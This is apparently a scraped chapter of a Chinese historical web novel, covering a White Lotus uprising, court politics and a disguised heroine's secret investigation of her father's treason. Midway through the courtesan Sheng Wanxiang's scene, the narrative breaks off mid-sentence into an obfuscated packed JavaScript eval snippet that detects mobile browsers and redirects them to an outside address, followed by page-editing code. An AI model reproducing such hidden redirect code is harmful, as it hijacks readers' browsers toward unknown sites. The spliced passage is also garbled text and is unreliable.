帐内重归寂静。萧道煜独坐榻边,手中那张符箓像一块烙铁,烫得她心神不宁。她盯着那朵火焰莲纹,忽然想起很多年前,母亲在佛堂对她说的话: “这条路,是我们娘俩唯一的生路。不走,就是死。” 那时她不懂。如今懂了。 可这条路,真的是生路么?还是……一条通往地狱的不归途? 帐外,夜风更急了,吹得帐篷布帘啪啪作响。远处传来巡夜将士的梆子声,悠悠长长: “天干物燥——小心火烛——” 三更天了。 她缓缓躺下,将符箓紧紧攥在胸前,仿佛那是唯一能抓住的浮木。腹中疼痛依旧,药力渐渐消退,疲惫如潮水般涌来。 闭上眼,黑暗中却浮现出父亲那张儒雅的脸,还有那个与她自己极为相似的道士身影。两张脸重叠在一起,朝她微笑,笑容里满是算计与冷酷。 “你是我最得意的作品……” “该为家族铺路了……” “白莲……起事……” 破碎的话语在耳边回荡,如魔咒般纠缠不休。 这一夜,萧道煜在病痛与惊惧中辗转,彻夜未眠。 而远处中军帐内,烛火通明至天明。 一场惊天阴谋,已在初夏的夜色中悄然织就。而她,恰是网中最脆弱的那根丝,不知何时,便会绷断。 帐外,东方渐白,初夏的晨光再次降临,却驱不散笼罩在龙骧大营上空的阴霾。 30.第 30 章 山东地界,时值腊月。铅灰色的云层压得极低,朔风卷着细雪,将青州城笼罩在一片凄迷之中。城门口那两株老槐树早已落光了叶子,枯枝在风里瑟瑟发抖,像是垂死之人的手臂。 天色将晚未晚,街道上行人稀少。几个衣衫褴褛的乞丐蜷缩在墙角,怀里抱着破碗,碗里空空如也。其中一个老汉喃喃自语:“这日子……过不下去了……过不下去了……” 忽然,远处传来马蹄声。 十余骑黑衣人马踏雪而来,马蹄在青石板上溅起细碎的雪沫。为首一人头戴斗笠,面覆黑巾,只露出一双眼睛——那眼睛在暮色中亮得骇人,似有火焰在瞳孔深处燃烧。 正是白莲教主巫道鸿。 他勒马停在城门前,抬头望了望城门楼上“青州”两个大字。字是前朝名臣所题,笔力遒劲,可如今金漆剥落,露出底下朽木,恰似这大雍江山,外表光鲜,内里早已腐坏。 “教主,”身旁一个汉子低声道,“城里守军不足三百,县令刘文炳今日在府中宴客,喝的正是从江南运来的花雕。” 巫道鸿嘴角勾起一丝冷笑:“好一个‘朱门酒肉臭,路有冻死骨’。” 他从怀中取出一面白旗,旗上绣着一朵赤色莲花,莲心处却是一团火焰纹样。这是白莲教新制的旗号,取“红莲业火,焚尽腐朽”之意。 “举旗。”他声音不高,却字字清晰。 话音方落,城门两侧的巷子里忽然涌出数百人。这些人大多衣衫褴褛,面黄肌瘦,可眼中却燃着一种奇异的光。他们手中拿着各式兵器——有锄头、镰刀、木棍,也有少数几把锈迹斑斑的刀剑。 城楼上的守军这才发觉不对,急敲警锣。可锣声刚响,城门口那十余骑已如离弦之箭般冲入城中。巫道鸿手中长剑出鞘,剑光如雪,几个守门兵丁还未反应过来,便已倒在血泊中。 “弥勒降世,清君侧,诛奸佞,救苍生!” 不知谁先喊出这句口号,紧接着,数百人齐声高呼。声音如雷,震得城楼上的积雪簌簌落下。 县令刘文炳此时正在府中后堂,与几个乡绅饮酒作乐。堂内炭火烧得正旺,熏得人昏昏欲睡。席间有歌妓弹唱,唱的正是时兴的《玉树□□花》:“丽宇芳林对高阁,新妆艳质本倾城……” 忽有家仆连滚爬爬闯进来,面无人色:“老、老爷!不好了!乱民……乱民打进来了!” 刘文炳醉眼惺忪,还未反应过来,堂门已被一脚踹开。寒风裹着雪花卷入,吹得烛火摇曳不定。 巫道鸿站在门口,斗笠上的积雪还未化去。他目光扫过席间众人,那些肥头大耳的乡绅,那些锦衣华服的家眷,还有桌上琳琅满目的珍馐美馔。 “好一场太平宴。”他冷冷道。 刘文炳这才惊醒,颤声道:“你、你们是何人?竟敢……” “白莲教,巫道鸿。” 五字一出,满堂皆惊。几个乡绅吓得瘫倒在地,女眷们尖叫起来。 巫道鸿却不看他们,转身对身后教众道:“开仓,放粮。传令下去:一不杀平民,二不辱妇女,三不毁民宅。违令者,斩。” 教众齐声应诺,声音铿锵。 他又看向刘文炳:“县衙粮仓钥匙何在?” 刘文炳哆嗦着从腰间解下一串钥匙。巫道鸿接过,随手抛给身旁汉子:“去,开仓。今夜,青州城不许饿死一人。” 那汉子领命而去。堂中众人面面相觑,不知这“反贼”葫芦里卖的什么药。 巫道鸿走到席前,端起一杯酒,却不喝,只看着杯中琥珀色的液体,轻声道:“这一杯,值多少石粮?够多少百姓活命?” 无人敢答。 他将酒杯往地上一摔,瓷片四溅。 “带走。”他淡淡道,“刘文炳及一众贪官污吏,押往校场,明日公审。” 当夜,青州城粮仓大开。白米如山,在火把映照下泛着温润的光。百姓们扶老携幼,排队领粮,许多人捧着米袋,跪在地上号啕大哭。 巫道鸿站在城楼上,望着城中点点火光。那些火光不是战火,是百姓家中重新燃起的炊烟。 “教主,”身旁一个老者低声道,“按这般做法,咱们的粮草撑不了几日。” “撑不了,便去下一城。”巫道鸿望着远方,“这天下,最不缺的便是贪官的粮仓。” 风雪更急了,吹得他衣袂猎猎作响。他忽然想起多年前那个雨夜,母亲将他送出王府时说的话:“鸿儿,你要记住,这世上有些人,生来就是要受苦的。你若能逃,便逃得远远的。” 可他没逃。 他选择回来,带着满身伤痕和满腔恨意。他要将这吃人的世道,掀个底朝天。 远处传来钟声,是城西寺庙的晚钟。钟声在风雪中显得格外苍凉,一声声,敲在人心上。 同一时刻,千里之外的京城。 乾清宫内,地龙烧得正旺,熏得殿内暖如春日。可永熙帝萧景琰坐在龙椅上,却觉得一股寒意从脚底直冲头顶。 他手中捏着一份八百里加急的军报,指尖微微发颤。军报上字迹潦草,显是书写之人慌乱所致:“腊月初七,白莲教妖人聚众数万,连破青州、济南、兖州三府。贼首巫道鸿自称‘弥勒转世’,开仓放粮,百姓景从……” “数万……”永熙帝喃喃重复这两个字,忽然将奏报狠狠摔在地上,“山东巡抚是干什么吃的!三府之地,说丢就丢!” 殿内跪了一地大臣,无人敢抬头。烛火跳动,将众人的影子投在光洁的金砖上,扭曲如鬼魅。 司礼监掌印太监魏进忠悄悄抬眼,见皇帝面色铁青,心中暗喜,面上却做出悲愤状,叩首道:“陛下息怒!那白莲妖教煽惑愚民,实乃心腹大患!依老奴之见,当务之急是调集重兵,速平内乱!” 兵部尚书张汝贞闻言,急道:“陛下不可!如今北疆战事正酣,若再调兵南下,恐匈奴趁虚而入啊!” “那张尚书的意思,是任由乱贼坐大?”魏进忠尖声道,“等他们打到京城脚下,咱们再开门迎客不成?” “你——”张汝贞气得胡子直抖。 永熙帝烦躁地摆摆手:“都闭嘴!” 殿内顿时安静下来,只闻炭火噼啪作响。永熙帝站起身,在御案前来回踱步。他今年不过二十二岁,登基四载,却已生了华发。此刻烛光映着他消瘦的面容,更显憔悴。 “传旨,”永熙帝终于停下脚步,声音疲惫,“命山东总兵周世昌即刻率部平乱。再从京营调三万兵马,由……由武英殿大学士杨嗣昌统领,驰援山东。” “陛下!”张汝贞还想再谏。 “朕意已决。”永熙帝打断他,顿了顿,又道,“至于北疆……传旨忠顺王,命他暂缓攻势,固守待援。” 魏进忠眼中闪过一丝精光,叩首道:“陛下圣明!内乱不平,何以御外侮?” 众臣面面相觑,却无人敢再言。 待众人退下,永熙帝独坐殿中,望着那跳动的烛火,忽然觉得一阵眩晕。他扶住御案,喉头一甜,竟咳出一口血来。 鲜血溅在奏报上,将那“白莲”二字染得猩红。 “陛下!”身旁小太监惊叫。 永熙帝摆摆手,用帕子拭去嘴角血迹,苦笑道:“朕这个皇帝,是不是做得很失败?” 小太监跪地不敢言。 殿外风雪呼啸,拍打着窗棂。永熙帝走到窗边,推开一条缝隙。寒风灌入,吹得他打了个寒噤。远处宫阙连绵,飞檐斗拱在雪中若隐若现,恍若仙境。 可他知道,这仙境之下,早已是千疮百孔。 “忠顺王……”他喃喃自语,“朕的好皇叔,此刻在做什么呢?” 北疆大营,中军帐内。 萧善钧接到京城急报时,正在与几个心腹将领饮宴。帐中炭火熊熊,烤肉香气四溢,歌妓抱着琵琶轻弹浅唱,唱的是《阳关三叠》:“渭城朝雨浥轻尘,客舍青青柳色新……” 传令兵满身风雪闯入,将急报呈上。萧善钧展开一看,先是一怔,随即竟哈哈大笑起来。 笑声震得帐顶积雪簌簌落下。 众将不解,萧善钧将急报传阅,众人看后,面色各异。 “王爷,”一个姓赵的参将迟疑道,“白莲教起事,陛下命咱们固守待援,这……” “这正合我意。”萧善钧端起酒杯,一饮而尽。酒是西域来的葡萄美酒,色如琥珀,在夜光杯中荡漾。他转动酒杯,看着杯中倒影,缓缓道:“你们说,这天下为何会乱?” 众人面面相觑,不敢接话。 “因为有人不想让它太平。”萧善钧自问自答,“永熙帝年轻,压不住那些老臣;太上皇退而不休,总想指手画脚;藩王们各怀鬼胎,伺机而动。这朝堂,早已是一盘散沙。” 他放下酒杯,走到沙盘前。沙盘上山川毕现,他用手指从山东划到河南,又从河南划到河北。 “白莲教起事,看似祸事,实则是天赐良机。”他眼中闪着精光,“朝廷要分兵平乱,便无力顾及北疆。匈奴那边,本王自有安排。待时机成熟——” 他手指重重按在“京城”位置。 “清君侧,正朝纲。” 四字一出,帐中一片死寂。唯有炭火爆裂声,噼啪作响。 良久,那赵参将才颤声道:“王爷的意思是……” “本王没什么意思。”萧善钧坐回主位,又斟了一杯酒,“只是这天下,该换个坐得稳的人来坐了。” 他挥挥手,歌妓乐师们悄然退下。帐帘落下,隔绝了外头风雪声。 “传令下去,”萧善钧压低声音,“明日再‘败’一场,折损要多报三成。还有,军中流言要再加把火——就说朝廷已放弃北疆,打算与匈奴议和,割让河北五州。” 众将倒吸一口凉气。 “王爷,这……这话传出去,军心可就彻底散了!” “散了好。”萧善钧淡淡道,“散了,才能重塑。待他们知道,唯有跟着本王,才有活路时——那才是真正的铁军。” 他顿了顿,又道:“还有,给巫道鸿传个信。” 他从案下取出一支细竹管,竹管以火漆封口,漆上印着一朵小小的莲花。这是他与白莲教联络的密信。 “告诉他:可攻官府,勿伤百姓。民心即根基。” 赵参将接过竹管,手心渗出冷汗。他忽然觉得,眼前这位王爷,比他想象中更加可怕。 帐外风声更紧了,像是万千鬼魂在哭嚎。 萧善钧却恍若未闻,只专心把玩着那枚祖母绿扳指。扳指在烛光下泛着幽绿的光,映得他眼中神色莫测。 他想起了萧道煜。 这个“儿子”,此刻在做什么呢? “道煜啊道煜,”他心中暗道,“你若知道为父的谋划,会作何感想?是会怒斥为父不忠不义,还是会……理解这乱世中的不得已?” 他忽然有些期待那一天的到来。 期待看到那双琥珀金色的眸子里,会露出怎样的神色。 京城,秦淮河畔,倚红楼。 虽是腊月,楼内却暖如春日。地龙烧得旺,熏得满室生香。盛晚湘今日着了件月白绣梅花的襦裙,外罩银狐皮比甲,正坐在窗前抚琴。 琴是焦尾古琴,音色清越。她弹的是《梅花三弄》,指尖在弦上轻拢慢捻,琴声如泣如诉。 楼下传来丝竹声、笑语声、猜拳行令声,一派太平景象。可盛晚湘知道,这太平不过是表象。就像这秦淮河,表面波光粼粼,底下却暗流汹涌。 一曲终了,她轻叹一声,推开窗。寒风涌入,吹散室内的暖香。远处河面上泊着几艘画舫,灯火辉煌,隐约能听见歌女婉转的唱腔。 “晚湘姑娘好雅兴。” 身后忽然传来一个男子的声音。盛晚湘回头,见是户部侍郎家的公子李慕白。此人年约三十,生得斯文白净,常来倚红楼饮酒,与她算是熟识。 “李公子来了。”盛晚湘起身施礼,唇角勾起恰到好处的笑意,“今日想听什么曲子?” 李慕白却不答,自顾自在桌前坐下,倒了杯酒,一饮而尽。他面色潮红,显是已饮了不少。 “曲子不听也罢。”他摆摆手,“晚湘姑娘可知,山东出大事了?” 盛晚湘心中一动,面上却不动声色:“妾身深居简出,能知道什么大事?” “白莲教反了!”李慕白压低声音,眼中闪着兴奋的光,“连破三府,开仓放粮!听说那贼首巫道鸿,是个神仙般的人物,能呼风唤雨,撒豆成兵!” 盛晚湘心中冷笑。什么呼风唤雨,不过是愚民谣传。可面上却做出惊惶状:“这可如何是好?会不会打到京城来?” “打来才好!”李慕白又饮一杯,酒意上涌,话也多了起来,“这朝廷,早就该换换了!我父亲在户部,日日为筹粮饷发愁。可你知道那些藩王、那些勋贵,每年贪墨多少?说出来吓死你!” 他凑近些,酒气扑面:“我听说啊,这次白莲教起事,背后有贵人扶持。你猜是谁?” 盛晚湘心跳加速,面上却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002985|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗔道:“公子醉了,净说胡话。” “我没醉!”李慕白抓住她的手腕,力气大得惊人,“我告诉你,是……是那位!” 他用手指蘸了酒,在桌上写了一个字。 盛晚湘定睛看去,是个“忠”字。 忠顺王。 她脑中轰然作响,面上血色尽褪。李慕白却以为她吓着了,得意地笑道:“吓到了吧?我告诉你,这朝廷的气数,怕是到头了!” 说完,他摇摇晃晃站起身,从怀中掏出一锭银子扔在桌上:“今日之言,出我口,入你耳。若是传出去……”他做了个抹脖子的手势,大笑着出门去了。 盛晚湘呆坐良久,直到琴弦上的余音彻底消散。 她起身走到窗前,望着窗外夜色。雪不知何时停了,一轮冷月挂在天边,清辉洒在河面上,碎成万点银光。 她想起多年前那个雨夜,父亲被锦衣卫带走时的情景。母亲哭喊着扑上去,却被一脚踹开。她躲在门后,看见父亲回头望了她一眼,那眼神里有不舍,有愧疚,还有……解脱。 从那以后,她的人生就变了。从书香门第的千金,沦为教坊司的官妓。那些曾经对她阿谀奉承的人,转眼就能将最恶毒的话泼在她身上。 直到遇见萧道煜。 那个面色苍白、眼神冷冽的“世子”,用一纸文书将她从教坊司赎出,安置在这倚红楼。旁人都道忠顺世子风流,养了个外室。只有她知道,萧道煜要的,是她的耳朵,是她的眼睛,是她在风月场中织起的情报网。 “晚湘,”萧道煜曾对她说,“这世道吃人,你若不想被吃,就得学会吃人。” 她学会了。 可有些东西,她始终学不会。比如忘记杨明远,忘记那段早已破碎的婚约。 盛晚湘走回案前,铺开一张素笺。她提笔蘸墨,手腕却微微发颤。墨滴落在纸上,晕开一团污迹。 她换了张纸,深吸一口气,开始书写。 字迹娟秀,却力透纸背:“腊月初九,闻李慕白酒后言:白莲教乱,疑有贵人暗中扶持。所指似为‘忠’字。又闻,朝中主和派力主先平内乱,再议北疆之和。恐有蹊跷。” 写罢,她将信纸折成方胜,飞鸽传书。 做完这一切,她颓然坐下,望着跳跃的烛火。 窗外忽然传来更鼓声,三更天了。 长夜漫漫,何时方旦? 三日后,北疆大营。 萧道煜接到密信时,正在军医帐中诊脉。斐兰度手指按在她腕上,眉头越皱越紧。 “世子近日可曾咳血?”斐兰度问。 萧道煜沉默片刻,点了点头。 斐兰度收回手,冷冷道:“肝气郁结,心血耗损,石瘕又大了一圈。再这般下去,莫说上阵杀敌,便是寻常行走都难。” 萧道煜却似未闻,只问:“还能撑多久?” “若好生将养,或可再撑一年半载。”斐兰度顿了顿,“若继续劳心劳力,三月必垮。” 萧道煜笑了笑,那笑苍白得令人心碎:“三个月,够了。” 斐兰度还要再言,帐外传来萨林的声音:“世子,京城有信。” 萧道煜起身,身形晃了晃。斐兰度欲扶,她却摆摆手,自己站稳了。走出医帐时,她回头看了斐兰度一眼,轻声道:“先生医术高明,可惜救不了该死之人。” 斐兰度一怔,待要追问,她已掀帘出去。 外头风雪正急,萨林撑开伞为她遮雪。两人一前一后走回主帐,雪地上留下两行深浅不一的脚印。 帐中炭火已熄,冷如冰窖,萧道煜却浑不在意。 信纸展开,娟秀的字迹映入眼帘。 她读得很慢,一个字一个字地读。读到“所指似为‘忠’字”时,手指微微一顿;读到“恐有蹊跷”时,唇角勾起一丝苦笑。 果然。 她早就怀疑父亲与白莲教有牵扯。那些流言散布得太巧,那些败仗败得太假,那些粮饷延误得太及时。如今盛晚湘这封信,不过是印证了她的猜测。 “世子?”萨林见她神色不对,低声询问。 萧道煜没有回答,只将信纸凑近烛火。火舌舔上纸角,迅速蔓延,将字句吞噬成灰。灰烬飘落,如黑色的雪。 “萨林,”她忽然开口,声音很轻,“若有一日,我要你在我与王爷之间做选择,你会选谁?” 萨林单膝跪地,绿眸在烛光下灼灼生光:“臣只忠于世子一人。” “哪怕王爷是叛臣逆子?” “哪怕王爷是叛臣逆子。” 萧道煜看着他,良久,轻叹一声:“起来吧。” 她走到帐边,掀开一条缝隙。外头风雪漫天,远处营火点点,在风雪中明灭不定,像是将熄未熄的星火。 她想起儿时读史,读到安史之乱,读到黄巢起义。那时她问长史:“这些人为何要反?” 长史答:“官逼民反,不得不反。” 她又问:“那朝廷为何会逼民反?” 长史沉默许久,才道:“因为坐在高位上的人,忘了低头看看脚下的百姓。” 如今她懂了。 这大雍江山,早已是朽木一根。父亲要做的,不是修补,而是推倒重来。为此,他可以牺牲北疆将士,可以勾结白莲教,甚至可以……牺牲她这个“儿子”。 腹中又是一阵绞痛。萧道煜扶住帐柱,额上渗出冷汗。那石瘕今日格外不安分,像是在提醒她:你的时间不多了。 “萨林,”她强忍着疼痛,声音发颤,“你去准备一下,我要……我要去见父亲。” “现在?”萨林皱眉,“您的身子……” 萧道煜打断他,“有些话,再不说,怕是没机会说了。” 帐中又只剩她一人。萧道煜走到铜镜前,镜中映出一张苍白憔悴的脸。她伸手抚摸镜面,指尖冰凉。 镜中人也在抚摸她。 “玉娘,”她对着镜中人轻声道,“你若真是男子,该多好。” 若真是男子,便可以光明正大地继承王位,不必在这男女身份间撕扯。若真是男子,便可以娶妻生子,不必孤独终老。若真是男子,或许……或许父亲会真心待她如子。 可这世上,没有如果。 她取下发簪,长发如瀑般披散下来。 无人回答。 唯有帐外风雪呼啸,像是万千冤魂在哭诉,在呐喊,在质问这苍天:为何要让好人受苦,让恶人得志? 一滴泪,悄无声息地滑落。